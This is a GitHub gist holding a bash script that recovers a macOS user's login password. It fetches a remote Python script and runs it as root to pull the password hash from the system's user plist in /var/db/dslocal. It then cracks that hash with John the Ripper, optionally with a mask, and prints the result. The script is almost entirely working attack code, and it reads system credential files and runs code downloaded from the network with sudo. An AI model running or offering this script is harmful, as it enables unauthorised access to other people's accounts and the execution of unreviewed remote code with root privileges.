Last active
February 15, 2022 20:04
-
-
Save MartinTintin3/e5bf3aa19aa3c3f4634dcae243d8b9fc to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
if [ "$#" -lt 2 ]; then | |
echo "Usage: $0 <username> <threads> [mask]" | |
exit 1 | |
fi | |
if ! command -v brew &> /dev/null; then | |
echo "Installing Homebrew..." | |
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" | |
exit 1 | |
fi | |
brew uninstall john | |
brew install john-jumbo | |
curl -vs https://gist.githubusercontent.com/nueh/8252572/raw/1c5992fccf093dcce13572c6980176864edaf816/plist2hashcat.py 2> /dev/null | sudo python2 - /var/db/dslocal/nodes/Default/users/${1}.plist > ./hash-${1}.txt | |
rm -f ~/.john/john.pot | |
if [ "$#" -gt 2 ]; then | |
echo "Cracking with mask: ${3}"; | |
john --fork=${2} ./hash-${1}.txt -mask=${3} | |
echo "Cracked password: $(john --show ./hash-${1}.txt | head --lines=1)" | |
else | |
echo "Cracking without mask"; | |
john --fork=${2} ./hash-${1}.txt | |
echo "Cracked password: $(john --show ./hash-${1}.txt | head --lines=1)" | |
fi |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment